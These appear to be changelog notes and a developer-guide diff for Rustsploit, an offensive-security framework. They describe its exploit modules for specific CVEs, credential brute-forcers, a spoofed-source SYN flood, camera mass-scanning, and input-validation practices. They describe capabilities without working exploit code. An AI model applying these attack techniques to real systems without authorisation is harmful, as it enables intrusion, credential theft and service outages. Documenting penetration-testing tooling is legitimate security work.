||||
Banner display - ASCII art banner matching the original Python version
|
||||
Interactive prompts - Prompts for email, password, and command (like other modules)
|
||||
Authentication - Login functionality with proper headers
|
||||
RCE execution - Executes commands via the customMCP endpoint vulnerability
|
||||
Error handling - Proper error handling with colored output
|
||||
Cookie support - Uses reqwest's cookie store to maintain session
|
||||
401 retry logic - Automatically retries with internal header if needed
|
||||
Framework Integration:
|
||||
The module is automatically detected by the framework's build script (build.rs) because it:
|
||||
Exports pub async fn run(target: &str) -> Result<()>
|
||||
Is located in src/modules/exploits/flowise/
|
||||
Is registered in the mod.rs files
|
||||
The module will be available as:
|
||||
flowise/cve_2025_59528_flowise_rce (full path)
|
||||
cve_2025_59528_flowise_rce (short name)
|
||||
|
||||
|
||||
|
||||
panos module
|
||||
Added improvements from the new version:
|
||||
Better error handling with Context for more informative error messages
|
||||
Enhanced file reading that filters empty lines and comments (lines starting with #)
|
||||
Colored output:
|
||||
Yellow for testing/info messages
|
||||
Green for vulnerable findings
|
||||
Red for errors/not vulnerable
|
||||
Cyan for headers and vulnerable URLs
|
||||
Better feedback messages showing what's being tested
|
||||
Summary statistics showing vulnerable count for batch scans
|
||||
Proper error propagation with ? operator
|
||||
|
||||
|
||||
Flowise RCE Module (CVE-2025-59528)
|
||||
|
||||
Location: src/modules/exploits/flowise/cve_2025_59528_flowise_rce.rs
|
||||
Status: Fully implemented
|
||||
Has pub async fn run(target: &str) -> Result<()> signature
|
||||
Registered in src/modules/exploits/flowise/mod.rs
|
||||
Listed in src/modules/exploits/mod.rs
|
||||
|
||||
Features:
|
||||
|
||||
Banner display
|
||||
Interactive prompts (email, password, command)
|
||||
Login functionality
|
||||
RCE execution via customMCP endpoint
|
||||
Error handling with colored output
|
||||
Cookie-based session management
|
||||
401 retry logic
|
||||
|
||||
Framework Integration:
|
||||
|
||||
Auto-discovered by build script
|
||||
Available as: flowise/cve_2025_59528_flowise_rce or cve_2025_59528_flowise_rce
|
||||
HTTP/2 Rapid Reset DoS Module (CVE-2023-44487)
|
||||
Location: src/modules/exploits/http2/cve_2023_44487_http2_rapid_reset.rs
|
||||
Status: Fully implemented
|
||||
Has pub async fn run(target: &str) -> Result<()> signature
|
||||
Registered in src/modules/exploits/http2/mod.rs
|
||||
Listed in src/modules/exploits/mod.rs
|
||||
|
||||
Features:
|
||||
|
||||
Banner display with legal disclaimer
|
||||
Interactive prompts (port, SSL, streams, delay, baseline)
|
||||
Baseline test functionality
|
||||
Rapid reset attack implementation
|
||||
Vulnerability analysis with risk assessment
|
||||
IPv6 support
|
||||
SSL/TLS support via tokio-rustls
|
||||
Error handling with colored output
|
||||
|
||||
Framework Integration:
|
||||
|
||||
Auto-discovered by build script
|
||||
Available as: http2/cve_2023_44487_http2_rapid_reset or cve_2023_44487_http2_rapid_reset
|
||||
|
||||
Dependencies Added:
|
||||
|
||||
h2 = "0.3" - HTTP/2 protocol implementation
|
||||
tokio-rustls = "0.24" - Async TLS support
|
||||
http = "1.0" - HTTP types
|
||||
|
||||
|
||||
Implementation status
|
||||
Module structure:
|
||||
Exported in src/modules/exploits/http2/mod.rs
|
||||
Auto-discovered by the build script (registered as http2/cve_2023_44487_http2_rapid_reset)
|
||||
Core functions:
|
||||
banner() — displays module banner
|
||||
normalize_host() — handles IPv6 address formatting
|
||||
baseline_test() — performs baseline HTTP/2 requests (SSL and non-SSL)
|
||||
rapid_reset_test() — performs the rapid reset attack test (SSL and non-SSL)
|
||||
run() — main entry point with interactive prompts
|
||||
Features:
|
||||
SSL/TLS support with proper certificate handling
|
||||
Non-SSL support for plain HTTP/2
|
||||
Baseline testing before the attack
|
||||
Rapid stream creation and reset
|
||||
Vulnerability analysis with risk assessment
|
||||
Interactive configuration (port, SSL, streams, delay)
|
||||
Legal disclaimer and permission check
|
||||
Fixes applied:
|
||||
Fixed http version conflict (0.2 to match h2)
|
||||
Added bytes dependency
|
||||
Fixed type inference for handshake calls
|
||||
Fixed send_request API usage
|
||||
Fixed send_reset return type handling
|
||||
Removed unused mut keywords
|
||||
Consistent TLS configuration
|
||||
Code quality:
|
||||
No linter errors
|
||||
No warnings
|
||||
Proper error handling
|
||||
Clean code structure
|
||||
The module is ready to use. You can run it via:
|
||||
Interactive shell: run exploits/http2/cve_2023_44487_http2_rapid_reset <target>
|
||||
Or the short form: run http2/cve_2023_44487_http2_rapid_reset <target>
|
||||
|
||||
|
||||
|
||||
Updated packages
|
||||
All dependencies now use version ranges (e.g., "0.12" instead of "0.12.15"), allowing Cargo to fetch the latest patch versions.
|
||||
Kept compatible versions for:
|
||||
h2 = "0.3" (upgrading to 0.4 would require http 1.0+ and code changes)
|
||||
http = "0.2" (required by h2 0.3)
|
||||
tokio-rustls = "0.24" (compatible with current setup)
|
||||
Updated to latest ranges:
|
||||
reqwest = "0.12" (was 0.12.15)
|
||||
tokio = "1.44" (was 1.44.2)
|
||||
clap = "4.5" (was 4.5.35)
|
||||
rustls = "0.23" (was 0.23.26)
|
||||
bytes = "1.0" (was 1.0)
|
||||
And all other packages
|
||||
|
||||
|
||||
|
||||
Improved http_title_scanner to be more robust and flexible:
|
||||
Added interactive workflow: collects initial target, optional comma-separated list, and/or file-based target list.
|
||||
Lets you choose whether to probe HTTP, HTTPS, or both; validates choices and prompts for timeout, verbosity, and optional report saving.
|
||||
Uses a shared reqwest client with user-agent, redirect limit, and configurable timeout; extracts titles via an improved regex, sanitizes output, and captures status/timing details.
|
||||
Handles errors gracefully, prints concise or verbose output, and writes an optional timestamped report (http_title_scan_YYYYMMDD_HHMMSS.txt) with per-target results.
|
||||
Removed dead code and ensured no unwrap panics on network paths.
|
||||
|
||||
|
||||
Added input validation and sanitization to the API:
|
||||
New validation helpers:
|
||||
sanitize_for_log: strips CR/LF/tab and truncates long values before logging
|
||||
validate_api_key_format: length and ASCII checks
|
||||
validate_module_name: allows only expected forms (exploits|scanners|creds/... with safe chars)
|
||||
validate_target: basic length, printable ASCII, trimmed, and injection-safe checks
|
||||
Applied protections:
|
||||
Middleware now rejects malformed API keys early
|
||||
run_module validates module and target before dispatch; logs use sanitized values
|
||||
All log messages are passed through sanitize_for_log to avoid log injection
|
||||
|
||||
|
||||
#### api mode and bug fixes and new modules etc Latest end
|
||||
|
||||
Improved the telnet bruteforce module with safer inputs and sturdier execution:
|
||||
|
||||
Added guarded prompts for port, thread count, yes/no answers, and wordlist paths (loops until valid input, checks file existence). Blank or invalid inputs now fall back to sensible defaults or re-prompt instead of panicking.
|
||||
Wordlists are trimmed and filtered, with explicit errors when the files are empty—preventing silent no-op bruteforcing.
|
||||
Swapped the shared stop flag to an AtomicBool so workers react immediately when a credential is found while stop_on_success is enabled.
|
||||
Counted queued combinations up front and log the total attempts for visibility.
|
||||
|
||||
|
||||
Added a powerful raw brute-force option to the Telnet module:
|
||||
Prompts now support programmatic password generation: answer “yes” to “Enable raw brute-force password generation?” to supply a character set (default a-zA-Z0-9) and a maximum length (bounded to 1–6).
|
||||
Wordlists became optional when raw mode is on (leave the password wordlist blank to skip it); the module still accepts wordlists and can combine them with raw guesses.
|
||||
Queue building now streams through a background generator thread that respects the shared stop_on_success flag (AtomicBool) and counts attempts via an AtomicUsize.
|
||||
Improved input validation for ports, thread counts, yes/no answers, and file paths; empty lists now raise clear errors.
|
||||
Logged attempt counts and status messages highlight usernames/passwords loaded and total credentials queued.
|
||||
|
||||
|
||||
|
||||
Credential Modules
|
||||
Hardened the SSH brute-force runner with validated host normalization, atomic stop control, and a bounded async work queue so we no longer pile up tasks or contend on a mutex; workers now exit immediately once a hit is found while still honoring combo mode and verbose logging.
|
||||
|
||||
FTP Bruteforce Fixes
|
||||
Swapped the shared stop flag to an Arc<AtomicBool> and tightened the worker loops so we stop queuing attempts immediately after a hit while still letting outstanding tasks exit cleanly under the semaphore cap.
|
||||
|
||||
Simplified throttling: we dropped the expensive system-polling loop and now rely on the semaphore for connection pressure, plus clearer panic logging in the join loop.
|
||||
Extended try_ftp_login with a verbose toggle so noisy connection failures only print when requested, while still surfacing TLS fallbacks or critical errors.
|
||||
|
||||
Replaced the brute-force loop with a semaphore-guarded task queue so concurrency stays bounded, tasks bail fast once a hit is found, and DNS results are resolved once and reused across attempts.
|
||||
|
||||
Added shared header storage plus richer error messages that identify the target when RTSP replies are unexpected or connections fail.
|
||||
|
||||
Advanced headers are now shared via Arc, and the stop flag moved to AtomicBool so threads don’t block on a mutex when cancelling runs.
|
||||
|
||||
RTSP Target Support Updates
|
||||
Added centralized target normalization so the module now accepts domains, IPv4, IPv6 (with or without brackets), optional schemes, and inline RTSP paths; inferred paths are queued first in the brute-force list.
|
||||
|
||||
Introduced normalize_target_input to standardize host/port handling and trim any implicit path/query fragments before resolution.
|
||||
|
||||
No automated tests were run; consider a quick RTSP smoke test against known IPv4/IPv6 endpoints to confirm resolution and path detection behave as expected.
|
||||
|
||||
Introduced shared prompt utilities for ports, thread counts, yes/no answers, and wordlists so SMTP input handling now mirrors the other modules and gives consistent feedback on bad values.
|
||||
|
||||
Reworked the SMTP brute-force module to match our richer prompt UX and concurrency story: inputs are validated, wordlists must exist, and worker threads respect an AtomicBool stop flag while reporting loaded counts and draining the queue on success.
|
||||
|
||||
Added reusable helpers for SSH input validation—targets are normalized through DNS-safe bracket handling and wordlists must exist before continuing—so mis-typed hosts or files fail fast with actionable feedback.
|
||||
|
||||
Hardened the REPL inputs: we now cap command length, sanitize module paths, and refuse targets with whitespace/control chars so only vetted values reach the module runner and env vars.
|
||||
|
||||
Locked down proxy usage by deduplicating/truncating large lists before activation, making it harder to feed an unbounded or repeated proxy set into env vars.
|
||||
|
||||
Added explicit sanitizers for module paths/targets to block traversal attempts and exotic characters before they ever touch utils::module_exists or shared state.
|
||||
|
||||
Docker Setup Utility
|
||||
|
||||
Added scripts/setup_docker.py, a standalone interactive helper that:
|
||||
Detects repo root, validates Docker/Docker Compose availability, and guides users through binding address selection (loopback, 0.0.0.0, detected LAN IP, or custom).
|
||||
Prompts for API key (custom or securely generated), optional hardening toggle, and IP-limit.
|
||||
Generates a multi-stage Dockerfile (docker/Dockerfile.api) matching the requested build/serve stages, a hardened entrypoint (docker/entrypoint.sh), a project-specific compose file (docker-compose.rustsploit.yml), and an environment file (.env.rustsploit-docker).
|
||||
Optionally runs docker compose up -d --build to bring the API online with the chosen configuration.
|
||||
|
||||
Usage
|
||||
|
||||
From the repo root, run python3 scripts/setup_docker.py.
|
||||
Follow the prompts to select interface, API key, and hardening settings.
|
||||
Allow the script to generate files and (optionally) launch the Docker stack.
|
||||
If you skip the final step, start the stack later with:
|
||||
docker compose -f docker-compose.rustsploit.yml up -d --build
|
||||
All new files are created only after confirmation when existing content is detected, preventing accidental overwrites.
|
||||
|
||||
Rebuilt scripts/setup_docker.py into a safer CLI/interactive hybrid:
|
||||
Validates repo root, docker/docker‑compose availability, and enforces printable API keys with optional random generation.
|
||||
Adds flags (--bind, --port, --api-key, --generate-key, --enable-hardening, --disable-hardening, --ip-limit, --compose-cmd, --skip-up, --force, --non-interactive) so the tool can be scripted or used interactively.
|
||||
Normalizes host/port selection (loopback, all interfaces, detected LAN, or custom) and applies strict parsing for non-interactive use.
|
||||
Generates Dockerfile, entrypoint, Compose file, and env file with restricted permissions (.env written 0600), docker security options (no-new-privileges, tmpfs /tmp), and port bindings derived from user choices.
|
||||
Supports BuildKit-enabled docker compose up -d --build, or skips launch when --skip-up is set.
|
||||
|
||||
Reworked run to drive a multi-target workflow: it now gathers sanitized targets from CLI, interactive prompts, or files, applies per-target ports (including ip:port forms), and iterates through them while reusing a single DNS query configuration.
|
||||
|
||||
Added robust parsing, validation, and de-duplication helpers for targets, with stop handling, file support, and strict host/port sanitization so mixed IPs/domains and custom ports are accepted safely.
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
+266
-36
@@ -1,6 +1,6 @@
|
||||
# 🛠️ Rustsploit Developer Guide
|
||||
# Rustsploit Developer Guide
|
||||
|
||||
> Reference manual for maintainers and contributors. Covers the architecture, build-time module discovery, shell ergonomics, proxy plumbing, and authoring guidelines for exploits, scanners, and credential modules.
|
||||
> Reference manual for maintainers and contributors. Covers the architecture, build-time module discovery, shell ergonomics, and authoring guidelines for exploits, scanners, and credential modules.
|
||||
|
||||
---
|
||||
|
||||
@@ -10,14 +10,15 @@
|
||||
2. [Code Layout](#code-layout)
|
||||
3. [Build Pipeline & Module Discovery](#build-pipeline--module-discovery)
|
||||
4. [Shell Architecture](#shell-architecture)
|
||||
5. [Proxy Subsystem](#proxy-subsystem)
|
||||
|
||||
6. [Command-Line Interface](#command-line-interface)
|
||||
7. [Authoring Modules](#authoring-modules)
|
||||
8. [Credential Modules: Best Practices](#credential-modules-best-practices)
|
||||
9. [Exploit Modules: Best Practices](#exploit-modules-best-practices)
|
||||
10. [Utilities & Helpers](#utilities--helpers)
|
||||
11. [Testing & QA](#testing--qa)
|
||||
12. [Roadmap & Ideas](#roadmap--ideas)
|
||||
7. [Security & Input Validation](#security--input-validation)
|
||||
8. [Authoring Modules](#authoring-modules)
|
||||
9. [Credential Modules: Best Practices](#credential-modules-best-practices)
|
||||
10. [Exploit Modules: Best Practices](#exploit-modules-best-practices)
|
||||
11. [Utilities & Helpers](#utilities--helpers)
|
||||
12. [Testing & QA](#testing--qa)
|
||||
13. [Roadmap & Ideas](#roadmap--ideas)
|
||||
|
||||
---
|
||||
|
||||
@@ -28,7 +29,7 @@ Rustsploit is a Rust-first re-imagining of RouterSploit:
|
||||
- Async-native (Tokio) for scalable brute forcing and network IO
|
||||
- Auto-discovered modules categorized as `exploits`, `scanners`, and `creds`
|
||||
- Interactive shell + CLI runner referencing the same dispatch layer
|
||||
- Proxy-aware execution with run-time rotation, validation, and fallback logic
|
||||
|
||||
- IPv4/IPv6-friendly: target normalization happens uniformly
|
||||
- Carefully colored, concise output designed for operators on remote consoles
|
||||
|
||||
@@ -41,9 +42,11 @@ rustsploit/
|
||||
├── Cargo.toml
|
||||
├── build.rs # Generates dispatcher code by scanning src/modules
|
||||
├── src/
|
||||
│ ├── main.rs # Entry point, selects CLI or shell mode
|
||||
│ ├── main.rs # Entry point, selects CLI or shell mode (includes input validation)
|
||||
│ ├── cli.rs # Clap-based CLI parser and dispatcher
|
||||
│ ├── shell.rs # Interactive shell loop + UX helpers
|
||||
│ ├── shell.rs # Interactive shell loop + UX helpers (includes sanitization)
|
||||
│ ├── api.rs # REST API server with auth, rate limiting, and security
|
||||
│ ├── config.rs # Global configuration with target validation
|
||||
│ ├── commands/ # Dispatch glue for exploits/scanners/creds
|
||||
│ │ ├── mod.rs
|
||||
│ │ ├── exploit.rs
|
||||
@@ -56,13 +59,14 @@ rustsploit/
|
||||
│ │ ├── exploits/
|
||||
│ │ ├── scanners/
|
||||
│ │ └── creds/
|
||||
│ └── utils.rs # Shared helpers (proxy parsing, module lookup, etc.)
|
||||
│ └── utils.rs # Shared helpers (module lookup, validation)
|
||||
├── docs/
|
||||
│ └── readme.md # This document
|
||||
├── lists/
|
||||
│ ├── readme.md # Wordlist + data file catalogue
|
||||
│ ├── rtsp-paths.txt
|
||||
│ └── rtsphead.txt
|
||||
│ ├── rtsphead.txt
|
||||
│ └── telnet-default/ # Default telnet credentials
|
||||
└── README.md # Product overview
|
||||
```
|
||||
|
||||
@@ -86,36 +90,34 @@ Because the dispatcher is generated at build time, there is no manual registry d
|
||||
|
||||
The shell lives in `src/shell.rs`. Highlights:
|
||||
|
||||
- **Context:** `ShellContext` stores `current_module`, `current_target`, the loaded `proxy_list`, and `proxy_enabled` boolean.
|
||||
- **Context:** `ShellContext` stores `current_module`, `current_target`.
|
||||
- **Prompt helpers:** Inline functions prompt for paths, yes/no decisions, timeouts, etc.
|
||||
- **Shortcut parsing:** `split_command` + `resolve_command` normalize input (e.g., `f1 ssh`, `pon`, `ptest`) to canonical keys.
|
||||
- **Command palette:** `render_help()` prints a colorized table for quick reference.
|
||||
- **Proxy tests:** `proxy_test` command triggers async validation via utils.
|
||||
|
||||
- **Run pipeline:** On `run`/`go`, the shell enforces:
|
||||
- Module selected
|
||||
- Target set
|
||||
- Proxy state respected (rotate until success or fallback direct)
|
||||
- Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) set/cleared per attempt
|
||||
|
||||
- **State reset:** On exit, nothing is persisted intentionally for OPSEC.
|
||||
|
||||
Extensions (tab completion, history) can be added by wrapping the loop with a line-editor crate, but are omitted today to keep dependencies minimal.
|
||||
|
||||
---
|
||||
### Command Chaining
|
||||
|
||||
## Proxy Subsystem
|
||||
The shell supports command chaining via the `&` separator, allowing multiple commands to be executed in a single line:
|
||||
|
||||
Implemented in `utils.rs` and surfaced in the shell.
|
||||
```bash
|
||||
rsf> u creds/generic/ssh_bruteforce & set target 10.10.10.10 & go
|
||||
rsf> f1 ssh & u creds/generic/ssh_bruteforce & set target 192.168.1.1
|
||||
```
|
||||
|
||||
- **Loader:** `load_proxies_from_file` reads lists, normalizes schemes (defaulting to `http://`), validates host/port via `Url`, and tolerates comments or blank lines. Returns both valid entries and a list of parse errors (line number, reason).
|
||||
- **Supported schemes:** `http`, `https`, `socks4`, `socks4a`, `socks5`, `socks5h`.
|
||||
- **Tester:** `test_proxies` concurrently (Tokio) checks a user-chosen URL using `reqwest::Proxy::all`. Configurable timeout and max concurrency.
|
||||
- **Result:** Working proxies are retained; failures are reported with the reason (connection refused, invalid cert, etc.).
|
||||
- **Integration:** Shell invites the user to validate immediately after loading; `proxy_test` can also be used on demand.
|
||||
|
||||
Proxies are set globally via environment variables so both module HTTP requests and low-level sockets (if they honor `ALL_PROXY`) benefit.
|
||||
Commands are parsed and executed sequentially from left to right. This is useful for scripting workflows or quick module setup.
|
||||
|
||||
---
|
||||
|
||||
|
||||
|
||||
## Command-Line Interface
|
||||
|
||||
`src/cli.rs` uses Clap to expose three commands:
|
||||
@@ -123,6 +125,9 @@ Proxies are set globally via environment variables so both module HTTP requests
|
||||
- `--command exploit|scanner|creds`
|
||||
- `--module <name>` (short or qualified, same mapping as the shell)
|
||||
- `--target <host|IP>`
|
||||
- `--list-modules` (list all available modules)
|
||||
- `--verbose` (enable detailed logging)
|
||||
- `--output-format <text|json>` (control output format)
|
||||
|
||||
Example:
|
||||
|
||||
@@ -134,6 +139,122 @@ If the module needs additional parameters, it can prompt interactively (e.g., br
|
||||
|
||||
---
|
||||
|
||||
## Security & Input Validation
|
||||
|
||||
RustSploit implements comprehensive security measures throughout the codebase. When contributing, follow these guidelines:
|
||||
|
||||
### Input Validation Constants
|
||||
|
||||
Located across core modules, these constants enforce safe limits:
|
||||
|
||||
| File | Constant | Value | Purpose |
|
||||
|------|----------|-------|---------|
|
||||
| `shell.rs` | `MAX_INPUT_LENGTH` | 4096 | Maximum shell input length |
|
||||
| `shell.rs` | `MAX_TARGET_LENGTH` | 512 | Maximum target string length |
|
||||
| `shell.rs` | `MAX_URL_LENGTH` | 2048 | Maximum URL length |
|
||||
| `shell.rs` | `MAX_PATH_LENGTH` | 4096 | Maximum file path length |
|
||||
| `shell.rs` | `MAX_PROXY_LIST_SIZE` | 10,000 | Maximum proxy entries |
|
||||
| `utils.rs` | `MAX_FILE_SIZE` | 10MB | Maximum file size to read |
|
||||
| `utils.rs` | `MAX_PROXIES` | 100,000 | Maximum proxies to process |
|
||||
| `config.rs` | `MAX_HOSTNAME_LENGTH` | 253 | DNS hostname limit |
|
||||
| `api.rs` | `MAX_REQUEST_BODY_SIZE` | 1MB | API request body limit |
|
||||
| `api.rs` | `MAX_TRACKED_IPS` | 100,000 | IP tracker limit |
|
||||
|
||||
### Security Patterns
|
||||
|
||||
When writing modules or core code, follow these patterns:
|
||||
|
||||
#### 1. Input Length Validation
|
||||
```rust
|
||||
if input.len() > MAX_INPUT_LENGTH {
|
||||
return Err(anyhow!("Input too long (max {} characters)", MAX_INPUT_LENGTH));
|
||||
}
|
||||
```
|
||||
|
||||
#### 2. Control Character Rejection
|
||||
```rust
|
||||
if input.chars().any(|c| c.is_control()) {
|
||||
return Err(anyhow!("Input cannot contain control characters"));
|
||||
}
|
||||
```
|
||||
|
||||
#### 3. Path Traversal Prevention
|
||||
```rust
|
||||
if input.contains("..") || input.contains("//") {
|
||||
return Err(anyhow!("Path traversal detected"));
|
||||
}
|
||||
```
|
||||
|
||||
#### 4. Hostname/Target Validation
|
||||
```rust
|
||||
// Use the framework's normalize_target function for comprehensive validation
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
let normalized = normalize_target(raw_target)?;
|
||||
// This handles IPv4, IPv6, hostnames, URLs, CIDR notation with full validation
|
||||
```
|
||||
|
||||
For manual validation:
|
||||
```rust
|
||||
use regex::Regex;
|
||||
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
|
||||
if !valid_chars.is_match(target) {
|
||||
return Err(anyhow!("Invalid characters in target"));
|
||||
}
|
||||
```
|
||||
|
||||
#### 5. Overflow Protection
|
||||
```rust
|
||||
// Use saturating_add to prevent overflow
|
||||
counter = counter.saturating_add(1);
|
||||
```
|
||||
|
||||
#### 6. Prompt Attempt Limiting
|
||||
```rust
|
||||
const MAX_ATTEMPTS: u8 = 10;
|
||||
let mut attempts = 0;
|
||||
loop {
|
||||
attempts += 1;
|
||||
if attempts > MAX_ATTEMPTS {
|
||||
println!("Too many invalid attempts. Using default.");
|
||||
return Ok(default);
|
||||
}
|
||||
// ... prompt logic
|
||||
}
|
||||
```
|
||||
|
||||
### API Security
|
||||
|
||||
The API server (`api.rs`) implements:
|
||||
|
||||
- **Request Body Limiting:** `RequestBodyLimitLayer` prevents DoS via large payloads
|
||||
- **Rate Limiting:** 3 failed auth attempts = 30 second block
|
||||
- **Auto-cleanup:** Old entries purged when limits exceeded
|
||||
- **IP Tracking:** With automatic rotation when suspicious activity detected
|
||||
- **Secure Defaults:** API binds to `127.0.0.1` by default to prevent accidental exposure
|
||||
- **2FA/TOTP:** Optional Time-based One-Time Password enforcement (`--harden-totp`) with interactive setup wizard (`--setup-totp`)
|
||||
|
||||
### File Operations
|
||||
|
||||
When reading files, always:
|
||||
1. Validate the path doesn't contain `..`
|
||||
2. Use `canonicalize()` to resolve the real path
|
||||
3. Check file size before reading
|
||||
4. Skip symlinks for security
|
||||
|
||||
### Honeypot Detection
|
||||
|
||||
The framework automatically runs honeypot detection before module execution when a target is set. The `basic_honeypot_check` function in `utils.rs`:
|
||||
|
||||
- Scans 200 common ports with 250ms timeout per port
|
||||
- If 11+ ports are open, warns that the target is likely a honeypot
|
||||
- Runs automatically in the shell's `run` and `run_all` commands
|
||||
- Can be called manually: `utils::basic_honeypot_check(&ip).await`
|
||||
|
||||
This helps operators identify potentially deceptive targets before spending time on them.
|
||||
|
||||
---
|
||||
|
||||
## Authoring Modules
|
||||
|
||||
Every module must export:
|
||||
@@ -157,7 +278,7 @@ Guidelines:
|
||||
6. **Wordlists / resources:** store under `lists/` and document them in `lists/readme.md`.
|
||||
7. **Optional interactive mode:** If the module benefits from multiple code paths, optionally expose `run_interactive` and call it from `run`.
|
||||
|
||||
### Example skeleton
|
||||
### skeleton
|
||||
|
||||
```rust
|
||||
use anyhow::{Context, Result};
|
||||
@@ -187,17 +308,113 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
## Credential Modules: Best Practices
|
||||
|
||||
Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP follow shared patterns:
|
||||
Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP/MQTT follow shared patterns:
|
||||
|
||||
- **Input prompts:** ask for port, username/password wordlists, concurrency limit, stop-on-success toggle, output file, verbose logging.
|
||||
- **Sanitation:** trim wordlist entries, skip blanks, provide early exits if lists are empty.
|
||||
- **Concurrency:**
|
||||
- Use `tokio::Semaphore` for asynchronous modules (FTP, SSH).
|
||||
- Use `tokio::Semaphore` for asynchronous modules (FTP, SSH, MQTT).
|
||||
- Use `threadpool` + `crossbeam-channel` for synchronous protocols (Telnet, POP3, SMTP).
|
||||
- **Adaptive throttling:** Some modules (FTP) sample CPU/RAM to avoid saturating the host.
|
||||
- **TLS/STARTTLS:** Accept invalid certs for offensive tooling convenience, but note this clearly.
|
||||
- **Result persistence:** Offer to write `host -> user:pass` pairs to a local file (in `./` by default).
|
||||
- **IPv6:** Use helpers like `format_addr` to wrap IPv6 addresses in brackets and support port suffixes.
|
||||
- **Error classification:** Implement comprehensive error types (ConnectionFailed, AuthenticationFailed, Timeout, etc.) for better debugging and reporting.
|
||||
- **Memory management:** For large wordlists (>150MB), implement streaming mode to prevent memory exhaustion (see RDP module for reference).
|
||||
- **Timing Attacks:** When implementing user enumeration, use statistical analysis (samples/variance) rather than simple thresholds to account for network jitter (see SSH User Enum module).
|
||||
- **Protocol compliance:** Implement full protocol support where applicable (e.g., Telnet IAC negotiation, MQTT 3.1.1).
|
||||
|
||||
- **FTP Bruteforce Enhancements**:
|
||||
- 5 Operation Modes: Single Target, Subnet (CIDR), Batch Scanner, Quick Default Check, Subnet Default Check
|
||||
- JSON configuration system with load/save/validation
|
||||
- 32 utility functions (streaming wordlists, JSON/CSV export, network intelligence)
|
||||
- Framework `normalize_target()` integration
|
||||
|
||||
- **L2TP/IPsec Module**:
|
||||
- Multi-platform: strongswan, xl2tpd, pppd, NetworkManager (Linux), rasdial (Windows), networksetup (macOS)
|
||||
- Proper IPsec Phase 1/2 and L2TP session management
|
||||
- L2TPv2 packet crafting with AVP encoding
|
||||
|
||||
### Recent Module Enhancements
|
||||
|
||||
- **CVE-2026-24061 Exploit**:
|
||||
- GNU inetutils-telnetd Remote Authentication Bypass via `NEW_ENVIRON`
|
||||
- Automated payload execution and interactive shell session
|
||||
- Mass-scan support with multi-port parallelization and exclusion ranges
|
||||
- Verified logic for IAC (Interpret As Command) telnet negotiation
|
||||
|
||||
- **Telnet Module**:
|
||||
- Full IAC (Interpret As Command) negotiation with proper option handling
|
||||
- Enhanced error classification with specific error types
|
||||
- Verbose mode for quick checks with detailed attempt reporting
|
||||
- Improved buffer handling using `BytesMut` with size limits
|
||||
|
||||
- **RDP Module**:
|
||||
- Streaming failover for password files >150MB
|
||||
- Comprehensive error classification with 8 error types
|
||||
- Multiple security level support (Auto, NLA, TLS, RDP, Negotiate)
|
||||
- Command injection prevention via argument sanitization
|
||||
|
||||
- **MQTT Module**:
|
||||
- Full MQTT 3.1.1 protocol implementation
|
||||
- Proper variable-length encoding and UTF-8 string encoding
|
||||
- CONNACK response parsing with error classification
|
||||
|
||||
- **SSH User Enumeration**:
|
||||
- Implements timing-based enumeration inspired by CVE-2018-15473
|
||||
- Statistical analysis using standard deviation to identify valid users
|
||||
- precise `tokio::time::Instant` measurements for authentication attempts
|
||||
|
||||
- **Directory Bruteforcer**:
|
||||
- `DirBruteConfig` struct handles comprehensive settings (extensions, status codes, threads)
|
||||
- Recursive scanning logic with depth control
|
||||
- Custom `Client` configuration for optimized throughput
|
||||
- Interactive setup wizard `setup_wizard` guides users through configuration
|
||||
|
||||
- **Sequential Fuzzer**:
|
||||
- Supports versatile payload placement (URL, Header, Body)
|
||||
- `EncodingType` enum supports 10+ encoding schemes including Double URL and Hex
|
||||
- Base-N counting algorithm for exhaustive iteration without memory overhead
|
||||
- Modular `charset` selection (SQL, Traversal, Command Injection)
|
||||
|
||||
- **API Endpoint Scanner**:
|
||||
- Full-featured vulnerability scanner supporting SQLi, NoSQLi, Command Injection, and Path Traversal
|
||||
- Extended HTTP method support (CONNECT, TRACE, DEBUG, PUT, DELETE, etc.)
|
||||
- ID Enumeration module for finding resource leaks
|
||||
- Endpoint discovery via wordlist enumeration
|
||||
- Concurrent scanning with results filed by endpoint
|
||||
|
||||
- **DoS / Stress Testing Optimizations**:
|
||||
- **Null SYN Exhaustion**: Rewritten for high-performance using native OS threads, zero-allocation loops, and custom thread-local XorShift128+ RNG. Capable of >1M PPS. IP spoofing with per-packet random source IPs.
|
||||
- **TCP Connection Flood**: Optimized with DNS pre-resolution, counter-based error sampling, infinite mode support (`duration=0`), and efficient address sharing to maximize connection rate.
|
||||
- **Connection Exhaustion Flood**: FD-bounded semaphore design caps local file descriptors while exhausting the target's connection table/TIME_WAIT slots. Supports infinite mode with graceful Ctrl+C shutdown.
|
||||
|
||||
- **Camxploit Mass Scan Enhancements**:
|
||||
- Masscan-style parallel port scanning with semaphore-based concurrency (default 200 threads)
|
||||
- EXCLUDED_RANGES: 16 CIDR ranges excluded (bogons, private, reserved, documentation, public DNS)
|
||||
- Service filtering: Hosts with only SSH/Telnet/RDP ports are skipped automatically
|
||||
- Time-based progress reporting and output file for discovered cameras
|
||||
|
||||
- **IP Exclusion Ranges (EXCLUDED_RANGES pattern)**:
|
||||
- Standardized across `camxploit`, `telnet_bruteforce`, and exploit modules
|
||||
- Uses `ipnetwork` crate for proper CIDR matching
|
||||
- Covers: 10.0.0.0/8, 127.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 224.0.0.0/4, 240.0.0.0/4, 0.0.0.0/8, 100.64.0.0/10, 169.254.0.0/16, 198.18.0.0/15, 198.51.100.0/24, 203.0.113.0/24, 255.255.255.255/32, plus public DNS (1.1.1.1, 8.8.8.8, etc.)
|
||||
|
||||
- **New Exploit Modules**:
|
||||
- **SharePoint**: CVE-2024-38094 (Deserialization RCE)
|
||||
- **MongoBleed**: CVE-2025-14847 (Memory Disclosure) with mass-scan and deep-scan modes
|
||||
- **TP-Link VIGI**: CVE-2026-1457 (Authenticated RCE)
|
||||
- **Telnet**: CVE-2026-24061 (Auth Bypass)
|
||||
- **Windows DWM**: CVE-2026-20805 (Info Disclosure)
|
||||
- **Geth (Go-Ethereum)**: CVE-2026-22862 (DoS via Ecies Panic)
|
||||
